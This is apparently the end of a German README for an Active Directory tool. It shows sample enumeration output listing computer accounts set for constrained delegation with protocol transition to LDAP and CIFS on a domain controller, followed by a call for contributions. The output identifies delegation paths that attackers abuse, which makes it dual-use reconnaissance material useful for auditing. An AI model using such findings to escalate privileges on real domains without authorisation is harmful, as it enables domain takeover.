WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local/corp.local
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local/CORP
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01/CORP
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local/DomainDnsZones.corp.local
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local/ForestDnsZones.corp.local
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01.corp.local/corp.local
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01.corp.local
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01.corp.local/CORP
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01/CORP

Abschließend

Dieses Projekt wurde von mir eigenständig abgeschlossen, und es wird unweigerlich einige Fehler geben. Mitwirkende sind herzlich eingeladen, Issues zu melden, um Fehler zu melden oder neue Ideen vorzuschlagen, um das Projekt gemeinsam zu verbessern!

Tool herunterladen